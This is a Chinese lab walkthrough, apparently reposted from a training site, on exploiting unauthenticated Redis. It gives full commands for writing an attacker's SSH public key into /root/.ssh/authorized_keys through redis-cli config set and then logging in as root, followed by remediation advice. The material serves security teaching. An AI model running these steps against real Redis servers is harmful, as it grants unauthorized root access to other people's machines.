Redis 未授权访问漏洞

转自:https://www.ichunqiu.com/vm/59321/1
实验需了解:
Redis是一个高性能的key-value数据库
Redis暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且在没有开启相关认证和添加相关安全策略的情况下可以导致任意用户在访问目标服务器时未授权访问Redis以及读取Redis的数据。利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。Redis作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。

实验环境
操作机:Kali-Linux

目标服务器:172.16.12.2

实验目的

熟悉Redis未授权访问漏洞的原理及其利用方法
Redis未授权访问配合SSH key的综合利用

实验工具

**Kali:**Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。

Redis:**Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的**API

实验内容
Redis 未授权访问

Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

Redis未授权访问配合SSH key的综合利用

攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

修复建议

1、配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379

2、配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

3、配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度

4、好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config等。

了解原理:
部分 Redis默认绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器
未授权访问—>写入ssh公钥–>变更Redis DB文件及存放地点

操作流程:(重点)

top one:在本地生产公私钥文件

打开kali在终端输入命令:

ssh-keygen -t rsa
在本地生产公私钥文件

之后会提示输入密码,输入密码并确认

top two:将公钥写入foo.txt文件

执行命令:

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
将echo的两条命令写入tmp目录下的foo.txt文件中

执行上述命令后,会在tmp目录下面生成一个foo.txt的文件,里面包含着我们所需要的公钥。

top three:连接Redis写入文件

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
首先执行命令:

cat /tmp/foo.txt | redis-cli -h 172.16.12.2 -p 6379 -x set crackit
-h后面跟的是目标机器的ip地址,-p后面跟的是redis绑定的端口号
设置一个地址名crackit指向/tmp/foo.txt

接下来执行命令,去连接目标主机

redis-cli -h 172.16.12.2-p 6379
-h后面跟的是目标机器的ip地址,-p后面跟的是redis绑定的端口号。

连接成功之后,我们依次执行以下四条命令:

config set dir /root/.ssh/

config get dir

config set dbfilename "authorized_keys"

save

exit

top four:通过SSH登录目标主机

ssh root@172.16.12.2 -p 22  -i  ~/.ssh/id_rsa

来查看一下ip地址,确认登录成功。最后输入以下命令查看是否连接上服务器的IP地址:

ip address show

实验图解:
这里写图片描述

这里写图片描述

这里写图片描述
图中显示服务器的IP地址为:
172.16.12.2
实验结果分析与总结

Redis未授权访问可能造成的危害

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行,危害同其他服务器端的代码执行。

敏感信息泄露

通过 Redis 的 INFO 命令,可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值